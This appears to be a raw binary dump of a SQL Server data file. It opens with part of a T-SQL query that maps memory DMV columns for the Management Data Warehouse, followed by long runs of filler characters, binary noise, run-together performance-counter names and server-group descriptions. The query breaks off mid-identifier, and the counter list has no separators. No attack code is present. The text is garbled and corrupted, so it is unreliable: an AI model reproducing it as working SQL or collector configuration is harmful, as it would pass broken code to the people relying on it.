    pm.physical_memory_in_use_kb            AS sql_physical_memory_in_use_kb, 
    pm.large_page_allocations_kb            AS sql_large_page_allocations_kb, 
    pm.locked_page_allocations_kb           AS sql_locked_page_allocations_kb, 
    pm.total_virtual_address_space_kb       AS sql_total_virtual_address_space_kb, 
    pm.virtual_address_space_reserved_kb    AS sql_virtual_address_space_reserved_kb, 
    pm.virtual_address_space_committed_kb   AS sql_virtual_address_space_committed_kb, 
    pm.virtual_address_space_available_kb   AS sql_virtual_address_space_available_kb, 
    pm.page_fault_count                     AS sql_page_fault_count, 
    pm.memory_utilization_percentage        AS sql_memory_utilization_percentage, 
    pm.available_commit_limit_kb            AS sql_available_commit_limit_kb, 
    pm.process_physical_memory_low          AS sql_process_physical_memory_low, 
    pm.process_virtual_memory_low           AS sql_process_virtual_memory_low, 
    
    sm.total_physical_memory_kb             AS system_total_physical_memory_kb, 
    sm.available_physical_memory_kb         AS system_available_physical_memory_kb, 
    sm.total_page_file_kb                   AS system_total_page_file_kb, 
    sm.available_page_file_kb               AS system_available_page_file_kb, 
    sm.system_cache_kb                      AS system_cache_kb, 
    sm.kernel_paged_pool_kb                 AS system_kernel_paged_pool_kb, 
    sm.kernel_nonpaged_pool_kb              AS system_kernel_nonpaged_pool_kb, 
    sm.system_high_memory_signal_state      AS system_high_memory_signal_state, 
    sm.system_low_memory_signal_state       AS system_low_memory_signal_state, 
    
    -- Three columns were removed from the dm_os_sys_info DMV in SQL11 as part of a change 
    -- to memory manager architecture: bpool_committed, bpool_commit_target, and bpool_visible.  
    -- While it is no longer correct, strictly speaking, to speak of such things as "buffer 
    -- pool target" memory in SQL Server versions after SQL 2008 R2, in the MDW database these 
    -- values were simply used as a proxy for "SQL Server committed memory" and "SQL Server 
    -- target memory"; the fact that it used to be buffer pool but now is the memory mgr that 
    -- tracks these values is immaterial to how they are used in MDW.  There are three new 
    -- columns that were added in versions after SQL 2008 R2; we map the new column that provides 
    -- comparable information to the old SQL 2008/2008 R2 column name.  This allows the same MDW 
    -- schema to work with data from any supported version.  The old DMV values were counts of 
    -- 8KB pages; the replacement columns provide a KB count. 
    (si.committed_target_kb / 8)            AS bpool_commit_target, 
    (si.committed_kb / 8)                   AS bpool_committed, 
    (si.visible_target_kb / 8)              AS bpool_visible
FROM sys.dm_os_prF
!!!!!!!!!!!!!!!!!!!!!!!!`~~j@ubk!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!o`b$kI
gp$F)!@ps9<yLServer Activity - Performance CountersPerformanceCountersCollectorDataCollectorTypensxmlns:nsDataCollectorTypePerformanceCountersObjectsMemoryCounters% Committed Bytes In UseMemoryAvailable BytesMemoryCache BytesMemoryCache Faults/secMemoryCommitted BytesMemoryFree & Zero Page List BytesMemoryModified Page List BytesMemory	Pages/secMemoryPage Reads/secMemoryPage Write/secMemoryPage Faults/secMemoryPool Nonpaged BytesMemoryPool Paged BytesMemoryStandby Cache Core BytesMemory#Standby Cache Normal Priority BytesMemoryStandby Cache Reserve BytesMemoryPool Paged BytesMemoryWrite Copies/secProcess*	Instances_TotalProcess*$(TARGETPROCESS)ProcessThread Count*Process% Processor Time*ProcessIO Read Bytes/sec*ProcessIO Write Bytes/sec*Process
Private Bytes*ProcessWorking Set*	Processor% Processor Time*	Processor% User Time*	Processor% Privileged Time*Server Work QueuesQueue Length*LogicalDisk% Disk Time*LogicalDiskAvg. Disk Queue Length*LogicalDiskAvg. Disk Read Queue Length*LogicalDiskAvg. Disk Write Queue Length*LogicalDiskAvg. Disk sec/Read*LogicalDiskAvg. Disk sec/Write*LogicalDiskAvg. Disk sec/Transfer*LogicalDiskDisk Reads/sec*LogicalDiskDisk Bytes/sec*LogicalDiskDisk Writes/sec*LogicalDiskSplit IO/sec*SystemProcessor Queue LengthSystemFile Read Operations/secSystemFile Write Operations/secSystemFile Control Operations/secSystemFile Read Bytes/secSystemFile Write Bytes/secSystemFile Control Bytes/secNetwork InterfaceBytes Total/sec*Network InterfaceOutput Queue Length*$(INSTANCE):Buffer ManagerStolen pages$(INSTANCE):Buffer ManagerPage life expectancy$(INSTANCE):Memory ManagerMemory Grants Outstanding$(INSTANCE):Memory ManagerMemory Grants Pending$(INSTANCE):DatabasesTransactions/sec_Total$(INSTANCE):DatabasesTransactions/sectempdb$(INSTANCE):DatabasesActive Transactions*$(INSTANCE):General Statistics
Logins/sec$(INSTANCE):General StatisticsLogouts/sec$(INSTANCE):General StatisticsUser Connections$(INSTANCE):General StatisticsLogical Connections$(INSTANCE):General StatisticsTransactions$(INSTANCE):General StatisticsProcesses blocked$(INSTANCE):General StatisticsActive Temp Tables$(INSTANCE):SQL StatisticsBatch Requests/sec$(INSTANCE):SQL StatisticsSQL Compilations/sec$(INSTANCE):SQL StatisticsSQL Re-Compilations/sec$(INSTANCE):SQL StatisticsSQL Attention rate$(INSTANCE):SQL StatisticsAuto-Param Attempts/sec$(INSTANCE):SQL StatisticsFailed Auto-Params/sec$(INSTANCE):Plan CacheCache Hit Ratio_Total$(INSTANCE):Plan CacheCache Hit RatioObject Plans$(INSTANCE):Plan CacheCache Hit Ratio	SQL Plans$(INSTANCE):Plan CacheCache Hit Ratio"Temporary Tables & Table Variables$(INSTANCE):TransactionsFree Space in tempdb (KB) $(INSTANCE):Workload Group StatsActive requests* $(INSTANCE):Workload Group Stats
Blocked tasks* $(INSTANCE):Workload Group StatsCPU usage %*N
p$<8UA)>yf#v9
@mQuery Statistics - Query ActivityS
p$ѓ.0$4K>$~9yUtility Information - Managed InstanceP0hj2
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!5`Rl@Xtp%tqNDatabaseEngineServerGroupBuiltin group that contains the DatabaseEngine servers
p%tq VAnalysisServicesServerGroupBuiltin group that contains the AnalysisServices servers
p%tq XReportingServicesServerGroupBuiltin group that contains the ReportingServices servers
p%tq \IntegrationServicesServerGroupBuiltin group that contains the IntegrationServices servers
p%tq dSqlServerCompactEditionServerGroupBuiltin group that contains the SqlServerCompactEdition servers
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!